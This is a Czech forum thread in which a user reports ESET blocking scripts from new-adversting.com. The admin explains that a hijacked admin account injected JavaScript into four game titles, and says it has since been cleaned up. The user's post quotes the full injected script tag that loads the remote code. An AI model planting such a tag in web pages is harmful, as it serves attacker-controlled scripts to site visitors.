ESET blokuje scripty z new-adversting.com

Ahoj @Zeus 
ESET mi začal hlásit blokování scriptů z new-adversting.com.
Nevim jestli je to něco nového na ZH nebo nové pravidlo v ESETu, ale je to dost otravné. U každé stránky mi vyskočí chyba pro každý script, který je headu.
 

Př:
<script type="application/javascript" src="https://new-adversting.com/qrNMxn?return=js.client&&se_referrer=https%3A%2F%2Fwww.zatrolene-hry.cz%2Fdiskuse%2F&default_keyword=N%C3%A1m%C4%9Bty%20a%20p%C5%99ipom%C3%ADnky%20-%20Zatrolen%C3%A9%20hry&landing_url=www.zatrolene-hry.cz%2Fdiskuse%2Fnamety-a-pripominky-1%2F&name=_f31jybPFHkcrT21W&host=https%3A%2F%2Fnew-adversting.com%2FqrNMxn"></script>

7.3.2024 13:22:46

To je divné, nic takového na stránkách nemáme (nebo bychom mít neměli). Dělají to všechny stránky nebo jen některé? Případně děje se to ještě někomu?

7.3.2024 14:31:07

Tak to asi bude nějaká chyba u mě. Zkusím pohledat. Zkoušel jsem to na 2 počítačích (windows a linux) a na obou jsem to viděl. Ale zkoušel jsem jen chrome. Tak to bude třeba nějaký rozbitý plugin v chromu. Neměl jsem čas to zkoumat. Ještě na to kouknu.

7.3.2024 15:21:26

@Zeus Tak mám problém já. :-( Klidně toto vlákno smaž. Díky 

 

7.3.2024 15:36:41

@KubaLib Nene, chyba nebyla u tebe a díky moc za napsání. Bohužel někomu se podařilo hacknout účet @Tharr a než jsem to odhalil tak si na názvu 4 her vložil nějaký Javascriptový kód, právě ležící na adrese, kterou jsi zmínil. Všechno je opravené a @Tharr má dočasně zablokovaný účet, abych prozkoumal, jak mu ho obnovit bezpečně tak, aby se už k němu útočník nedostal.

Do systému se dostal podle všeho kolem 11:45 a je vidět, jak cca půl hodiny hledal, jak se mu může podařit nějak infikovat data Zatrolenek (i když měl dost silná adminská oprávnění). A pak se mu povedlo nalézt cestu, jak do názvu hry dostat odkaz na Javascript. Nic dalšího zdá se udělat nedokázal a všechny škody jsou odstraněné (povedlo se v cca 15:15)

7.3.2024 16:18:00

@Zeus Tak to jsme se pěkně sešli, v době kdy, jsi to opravil, tak jsme akorát povypínal všechny doplňky v chrome a přestalo to. Tak jsem to dál neřešil a myslel jsem, že je problém u mě. 

7.3.2024 16:24:03 | Upraveno autorem (porovnej)

@KubaLib Beztak jsi to hacknul ty, přiznej se!

7.3.2024 17:05:51

Vybíráme z Bazaru

Stone Age: 10th Anniversary
Stone Age: 10th Anniversary
Akt. cena: 1690 Kč
Končí za: 1 den

Nejnovější otázky

další >>

Velké herní akce

Kalendář všech akcí >>

Offcanvas